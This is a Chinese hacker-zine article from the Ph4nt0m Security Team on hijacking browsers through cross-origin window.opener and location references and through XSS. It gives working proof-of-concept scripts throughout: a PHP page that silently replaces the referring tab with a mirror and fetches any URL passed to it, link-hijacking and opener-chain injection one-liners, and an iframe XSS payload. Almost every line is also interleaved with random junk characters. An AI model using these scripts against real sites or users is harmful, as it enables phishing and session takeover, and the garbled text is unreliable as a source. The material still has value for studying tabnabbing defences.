==Ph4nt0m Security Team==
6 @" }1 [! ]: u# v
! H" p( i$ G- S0 [* a, B Issue 0x03, Phile #0x05 of 0x07
5 S8 u* F: Y* j. p, b% w ; H+ W( ~4 w' u! g" O' j# ?6 g
1 C ?& h. `/ w|=---------------------------------------------------------------------------=|
( o. ]5 ~- E9 e& _! i+ J2 U|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|, v. l7 R, K3 |$ Y
|=---------------------------------------------------------------------------=| M4 F- m1 k1 X
|=---------------------------------------------------------------------------=|
O& B, i4 g' R9 Y|=------------------------=[ By rayh4c ]=---------------------------=|
+ T" |3 v# t2 {|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|$ o6 W- H4 r ?$ s; ^9 w9 }) A
|=---------------------------------------------------------------------------=|
% g( d2 R8 b5 z5 Z
+ N5 w' f" R. c) r2 m
/ O# ~3 o' e3 J) x$ ^$ U[目录]+ \; A! _8 y% c+ x, Y* Z+ V7 u& E
, Z1 n3 b9 D: L6 j+ x1. 前言
# z7 x+ q! s& X9 c0 g5 K: m( e2. 同源策略简叙
3 [7 v+ z( ?, w2 T3. 理解window对象的同源策略
7 `( ?4 T* I( x. _+ A4. 窗口引用功能中的同源策略漏洞
M# j2 C: q' {6 m 4.1 父窗口引用子窗口的同源策略问题5 a }+ I& Q, H- }5 `9 D
4.2 子窗口引用父窗口的同源策略问题3 `* b' l$ i5 g. `" w. U, k7 m
5. 利用窗口引用漏洞劫持浏览器- {1 T8 j/ Y! i: G3 o ~( `
6. 利用XSS漏洞劫持浏览器
4 H+ s( S, K! _& h 6.1 正向跨窗口劫持: y5 T4 c" C. z( Z& H. Y2 {
6.2 反向跨窗口劫持" ]5 k& E' e% x& j/ V+ B
6.3 极度危险的跨框架窗口引用劫持/ T3 j: ?. D% z# a: t& F+ N
6.4 极度危险的正反向跨窗口递归劫持
\1 F5 A( v6 y) u& z" P 6.5 完全控制浏览器
( B4 t6 }' {2 ?( s: O8 A! B7. 后记
1 ]$ U' U( G* L% @ w; f q7 t# s" o8. 参考
: Q. E9 K. @# e
# Y* f6 i! c! L% p# F% j: ^$ {; Z! s" L* \! y! ^
一、前言5 r- p, k* j2 M. C; J
) y5 o9 `, |" e3 l! s
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
9 B# @ f6 {0 D4 U3 i- D1 e友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
; E3 b- n, F1 V4 p劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被1 Y3 P1 L. a9 D$ a" }
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。& C" g9 ]2 L- l( k) o6 c- |6 j
6 g* V* K5 u7 e0 m
5 M0 s" ^2 N8 o0 Z二、同源策略简叙2 i! g5 S9 _/ y( W
# \" } d) N6 T
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以# S, p) S5 _& }0 J5 U6 C! t( v$ q/ C/ @$ A
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
2 _$ C/ o, \0 [5 [. o8 [2 C曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木6 S# a' e; T" G
马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个" r! s7 p" s* q3 I
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。; I, ^& `" m# I- X5 V3 q
' {2 K+ \$ J9 l/ m9 S
& p) S1 n4 S$ ?& U三、理解window对象的同源策略8 s7 _% |8 i- h* ^! F
# b: s: P& i3 f5 f
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对2 Y$ c/ K% b9 r; g! D2 z+ t; L
象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
! p7 ?# c$ S2 g4 D1 V
: v. S. A0 i$ s/ Y--code-------------------------------------------------------------------------5 E7 h' V% Q) g/ i: B) p' x
<script language="javascript">. e+ Z% k7 ]1 {0 l0 |
for(p in window) document.write(p+"<br>");
" w% ?8 `, J- e! h4 v0 C</script>
+ X; d1 @# v" n-------------------------------------------------------------------------------
0 S, e. I7 [6 k$ f+ ?$ m7 ?8 O
9 Q9 {8 B" L! q5 E1 I 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方" d5 k( `" X( ~/ c9 j9 C9 f
法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,$ p* S$ x, b/ F* X2 N& A
这些属性和方法就必须遵循同源策略。. ]' m% H9 @9 A4 w7 n0 E3 D1 `
7 b/ ]; L/ F% j! j 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
+ J- p& ?+ n4 g4 q7 I么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须% R: Q: X7 }0 H8 O) s
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这6 b/ z) ~" @3 T) w0 y- X' M
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
. Z# H- d+ c! E2 o1 A值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
. Y) L ^- v, _* k+ W# u% O属性并没有被拒绝访问。
0 b/ T# n3 v: E: g
0 O; i" O t, w0 W--demo.html--------------------------------------------------------------------6 h' Z, M6 j9 O( S
<script language="javascript">
; e; N. ^+ d, i3 a* [0 yfunction allPrpos(obj) {
) L9 x$ B- b7 b var props = "<table><tr><td>名称</td><td>值</td>";
+ q* D8 M; o3 W8 N6 c for(var p in obj){ + z. B* R) `( |" J$ l; P
if(typeof(obj[p])=="function"){
+ {9 Q' E# l7 s& z& M! {8 p L# S obj[p](); ) y' I# {( N7 X3 l; j" Q
}else{ $ n# |- v1 u. n3 I& o
try & S( v, b( m' ?$ Q0 V0 C
{ 8 O9 _3 l8 ?$ ^: F- y* o# a( T
props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 8 m2 Q0 j6 G: H6 ^+ D
} 6 M7 j! p: I0 I, q0 X- q
catch (ex) & n: {2 u4 W/ o9 k( a
{ 9 O' h3 u& [3 t6 Q. K7 R8 T6 m' i
) n: ~8 Z0 a' V) H- q) }3 v
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; # k5 c/ c f! i% A% q( S
}
& I" ^2 ~8 H8 H* ~' i5 k # o& z) { b2 k
} / j8 |7 O& {; Q% z W3 A! v
} 3 y( U; S& ~/ \# k5 Z7 }
. g3 _9 Y2 [) v( O* e5 E
document.write(props+"</table>"); + \' J O L, V+ \! Y8 R+ ^
} + K4 q; j7 c$ X, [7 K8 j9 g
# M! B! ], _7 p
function createWin() {
0 w# C+ B3 x, J" V newWin = window.open ("http://www.google.com"); % T) G! u. H) {. ^8 K- M
setTimeout(function(){allPrpos(newWin)},2000); 8 P) V4 X5 w" d3 F+ L v
}
9 _8 P. C7 Y. n4 r
" N. J3 U+ ?2 k</script>
$ P. \/ R1 Z2 ^" ^* Y' L' I3 I X5 ?' {% W0 t5 x7 ~# p" D# S
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
4 D7 I" l* X9 n. v$ @-------------------------------------------------------------------------------$ e) I. e# q: e2 Y, U2 j/ u
) ?$ i q' @7 g8 P
) S% X/ P& M* B( m7 s; L0 n7 z) b四、窗口引用功能中的同源策略漏洞
% K: l% I$ E' \, D; T. x z5 v- F
& \; @/ K/ A7 l4.1 父窗口引用子窗口的同源策略问题
7 @2 s! |. I1 p6 v6 Z: v$ G9 O- l- k( d2 j S* b8 N. x0 ?# U0 `
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
. [0 E, T; C) k+ I& O6 c/ T但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道! `$ J. i0 w/ w. l* a
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进) O" ]9 a- c2 G6 Y1 @
行测试,会发现父窗口可以控制非同源子窗口location属性值。
$ x6 @' }/ u9 p: g3 ~# T& k$ h/ N1 @) E/ w
--vul1.html--------------------------------------------------------------------
0 z+ \- U% W$ |6 i<script language="javascript"> ' t* D; [8 m W( _* N
function createWin() { ' |( P+ v! c# j& v% [
newWin = window.open ("http://www.google.com");
% e/ L* q! l' r/ ?+ H+ T* t. Z setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
b& V0 V Z# G% w Z} % U! i2 Z, p5 z$ x- u3 V4 S0 S8 Z
</script>) o$ K/ s& U' f9 l9 F; s% t
4 w4 _' R0 y" ~6 i$ E
<button onclick='createWin()'>创建一个非同源子窗口测试</button> v# K) c. s2 Z" F8 ~+ J
-------------------------------------------------------------------------------
! H9 ^. _' o- M$ Y o& R) Y- v1 i
( L& T4 ?$ w% w6 [% M8 Y$ `$ ^ L9 {+ ]/ Q% r- {/ W+ ^( l9 b; X
4.2 子窗口引用父窗口的同源策略问题
- {6 S Z" Y$ z& w) Y; p- J( L% [% s9 f, Y7 K
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使
e y& E5 K& F6 h, F/ v o用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们2 i }1 ~' h9 d$ E
可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
$ e ~ u8 C7 x4 Z) U会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
- x' U' l }* h" G. q& I5 E/ B# U7 m/ v
--code-------------------------------------------------------------------------
: i' f, V8 E2 v- v: ?
* n3 m; M( ]( `) L0 j0 `javascript:window.opener.location = "http://www.80sec.com";void(0);
m a/ y) ]3 F A
& k8 p/ V* M0 Z9 s-------------------------------------------------------------------------------
/ O8 Z8 y% c3 \1 {1 \0 b, ?
% z. e% K$ K! P" ^4 f7 ~/ j: e4 e: n3 B. d
五、利用窗口引用漏洞劫持浏览器( F' ^" c( e( \$ |
/ F" D( m9 X( ~8 F1 D+ ^ 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子% o1 I4 N7 a; M! r) W# x }
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那+ w! h. M* A) @; \$ h! }' l
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。; X, G$ r" }" j q# s# v: e6 S& m
: u$ |' z8 ?, w8 g0 k/ q
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
* f6 {/ v8 C8 ~0 a# r8 j) @& u生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
$ A" L6 j7 B+ |者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接" U5 H+ j+ Y! {% C7 z4 ?
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
6 T3 I7 B/ m# }" w3 K* Z会产生什么可怕的后果。. U: d9 k# J, `+ {1 ?( _7 w) V
0 k3 t- ]$ t! w, U/ } w4 Q8 }* X
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
1 p. G' Z# h3 D们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php
* b* b' {4 ~1 s' @) P; X8 z这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时8 d- p" G4 h% b9 `- P; [% l( E
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可& d% @5 E& o& M
以做更多的事情,所有的一切仅仅是因为点击了一个链接。+ C% S8 b- ~8 v: ]
4 G/ [3 ^( a3 T0 O: O--hjk_ref.php------------------------------------------------------------------& O+ K0 a5 ]. B$ s7 b
<?php T1 e& a) H3 ^
if (array_key_exists("HTTP_REFERER", $_SERVER)) { E( U! @1 B* M5 l. e
$Url_Mirror = $_SERVER["HTTP_REFERER"];
& K! D0 d5 F! `# e3 N2 x5 L' r} " }# Y* T- b( c! Q8 {1 Q% Q
if(isset ($_GET['ref'])) {
/ w/ h a3 S w" d6 Y% z- ?( Oecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';& u- A8 V+ k- R4 V2 }0 m1 H
}
6 A B, s% v. f. h- r9 h, ~?>
) } `% C. f K3 n3 Y( c) h& N4 |
4 B$ y. I0 m7 n' B9 {<script language="javascript">
# | S! t; f, i' Z) z: @% p8 KsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); 2 @3 L( u! P4 j. d6 l1 F8 r
</script>0 H" c& C' B0 c( |9 _
-------------------------------------------------------------------------------0 U, Z# \/ Z0 z6 k5 x
7 s& c; O" K+ i5 S
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。3 x0 Q8 B' X& G
+ P8 r; n$ f( T7 ^. B w
1 H: [2 Y" V) M
六、利用XSS漏洞劫持浏览器
) X- ?; h) E+ ~: t" e' Z! E' b4 F% D3 O! _4 V
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为7 s5 z" W. A, d! L$ V S
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后" y1 [5 R. c: O! G/ c) d
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起" @- B# m; r9 Z3 k) b% d: X' {8 C) B
讨论跨站师的终极技巧:/ F$ L9 h9 b+ c5 u( `5 J7 i1 Y3 o
% a7 ]4 K/ J E8 T! k' j
( X3 D5 h+ r5 b! j* ?
6.1 正向跨窗口劫持. {7 m5 Z( V6 o4 n$ u- T
Y3 M. ^ i' N" ?3 d8 o 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛1 R3 u4 I y' ~) u
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链0 W) q' G' X" X0 ^4 z+ v; y8 P
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
4 ~8 s7 t h& o3 _$ `% b P$ J框脚本。 9 ?" n) \. q. p1 D- H$ ?
Y2 }/ u# ?& N" I6 F--hijack_open.js---------------------------------------------------------------
# B% h8 ]# M. p; {% f8 P
1 K/ ^( h% L/ T8 }4 vjavascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
3 C2 @3 K' ]. S! D; T+ u5 b, w4 ]0 \+ U; ^
-------------------------------------------------------------------------------! G, W# F( y( T; q, m" o! H
* p5 i9 r1 m& u0 f; e/ u9 S) H, O
, y1 j) ^: u- q2 H/ ~) X; W6.2 反向跨窗口劫持2 e: C/ A. c4 e8 |6 ?, N
- ?, _/ W% J/ D3 o% r9 r% h! e 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
) x" H' k8 K' {8 M8 ~9 O3 V- @; x码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
2 [( ]$ H% r) r+ x; d框脚本。
& v: B2 c, q" P( u8 Y1 C0 W0 x4 U% m' V) S
--hijack_opener.js-------------------------------------------------------------
7 I( P# S( @5 q' X S2 q8 I( N
3 E! K+ h" J. njavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
, I5 f: t- {% H; r7 X0 p) M; n w4 o; j5 Z! Z; s9 l. I4 w. V" R
-------------------------------------------------------------------------------. K- h0 S3 K6 x# w
' q6 l3 |9 Y; @3 E/ S- E( \% d% x
. u& d0 |0 Y$ `$ E! p8 F" a# m) s
6.3 极度危险的跨框架窗口引用劫持4 e6 a' n* W8 m$ x7 i! J9 K5 i
8 e2 } K: Z" }# r 非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞6 L+ X; p# I# H. X, D
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就4 }1 l' ^1 V6 N/ y) | F7 n
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
% Z' ~9 p- { y, x: n& E非持久型的XSS,如下:
( t! O9 x/ _' a H0 @
! N7 u/ d( a) V1 R- K' I1 v+ i<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>& [) m3 s# Z& x. _0 T$ H4 C
" E, ^, C' z. n& f
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
0 U: E7 P$ O0 T' r# K注入脚本。5 O9 ]& l, ]: b: M( {1 b: k
5 P* F$ E9 g: {* Z( @0 A) K--hijack_frame_opener.js-------------------------------------------------------1 K3 F6 z' K+ ]0 h/ l' _+ {7 R
<script>
d: C( d' K1 Vwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
2 U/ d+ @/ ]0 K# O+ B1 `</script>
. o0 y2 |( E5 F3 ~8 n2 A, j9 O-------------------------------------------------------------------------------) v5 J# P9 G) |' E" u9 j6 d
$ U1 ~# U) Q+ U9 B. d, ~8 a
J% u! U: L9 j2 N6.4 极度危险的正反向跨窗口递归劫持' V4 W X0 x9 }4 p1 ^8 b# c
2 u" l( `+ Q _2 ?6 X. | luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window* \+ p% E/ Y( ]: ~. L8 @7 h
的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过/ B: K+ ]9 q% b6 p5 \0 O$ x- Q$ T
异常处理规避之间跨域页面的访问异常,代码如下:
/ I! f( m2 Y+ q5 ^) a2 F7 a) m' l) f( H; M2 y0 h) n
--code-------------------------------------------------------------------------
4 T8 ?0 w O: D2 Z
& E; ^. R6 @: ~- t$ e( Xjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
7 b; r8 V+ k0 U5 G7 G! C! j5 b0 I7 _! @/ Y7 y
-------------------------------------------------------------------------------
# @1 q5 l! K2 M0 ]
6 w7 q0 h; ^9 W' w 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可
4 f5 g& O+ [1 m1 ]/ R$ h- ]以劫持B域之前的A域页面,从而实现“隔空打击”。
" p3 U8 O( X2 g1 T
. ]$ c- l# `! l4 U& P6 `: S 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
8 K' ^6 n( H) z; O$ C( b执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
) l4 O, k1 y! n! b$ A6 a0 p% k& ~" P
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
) a( o% A( f* u, V3 k9 l6 ?
! }# m* Y0 p+ I( X# ]
) @& |; R$ l5 b& R o6.5 完全控制浏览器7 U; ^8 S+ l/ J: ]8 C& J
, d) [9 p- S* Q' p 一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则6 r9 E9 B; S3 g5 ]! |1 o2 |
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS) W! O7 c0 v) t8 E! t: B8 b+ s
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
% M7 R' `' r# _. A而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再) }5 P$ n* A/ m, x9 z1 u% ^
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站
1 L) |. q" [& l' F. ]* q0 l师的终极目标 - 完全控制浏览器。
# {+ j. w" b; c l" ]1 h
$ {0 f3 R9 W. h$ ?
* \) M7 [, F0 ]七、后记
3 I3 ?0 c: ~+ f* t. u4 [' k* H
$ u8 r+ J5 L' C3 z2 H) |, M 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全. x% Q) Z* L9 s8 Y" z
与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予6 ^% ^; [% Y+ j5 n1 d2 p+ G8 |& Q
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
$ M' p# g6 n* _4 j2 S8 B3 P B6 m U; u$ m+ }
1 u6 Y3 Q, ^" @1 N) _9 g八、参考
+ p( G* z8 |# H2 L% X3 N* B) f% D; c: g y8 Y
1. http://en.wikipedia.org/wiki/Same_origin_policy* b) ~+ O5 V2 S- B5 ~2 K6 g( e
2. http://code.google.com/p/browser ... licy_for_DOM_access' O/ R" p1 x; f& U
3. http://www.w3.org/TR/Window// w# F$ M2 y* k j7 m. E% Q
4. http://www.80sec.com/release/browser-hijacking.txt- V& w- L5 t% o9 {2 F% ?* q
5. http://www.80sec.com/all-browser-security-alert.html% ]% ]- G. x( s( _, C, F
6. http://www.80sec.com/ms08-058-attacks-google.html
, u" o2 m/ W+ B2 g. m0 l- F& j j( t
-EOF- |